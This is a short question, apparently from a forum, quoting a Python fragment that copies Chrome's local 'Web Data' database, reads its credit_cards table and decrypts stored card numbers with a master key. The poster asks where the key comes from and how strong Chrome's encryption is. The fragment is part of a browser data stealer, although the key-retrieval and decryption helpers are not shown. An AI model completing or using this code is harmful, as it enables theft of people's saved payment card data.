```

def cs():

    master_key = master()

    login_db = os.environ['USERPROFILE'] + os.sep + \
        r'AppData\Local\Google\Chrome\User Data\default\Web Data'

    shutil.copy2(login_db, "CCvault.db")
    conn = sqlite3.connect("CCvault.db")
    cursor = conn.cursor()

    try:
        cursor.execute("SELECT * FROM credit_cards")
        for r in cursor.fetchall():
            username = r[1]
            encrypted_password = r[4]
            decrypted_password = dpw(
                encrypted_password, master_key)
            expire_mon = r[2]
            expire_year = r[3]

```

Where does master_key come from here? Is chrome encryption of sensitive information really as weak as that?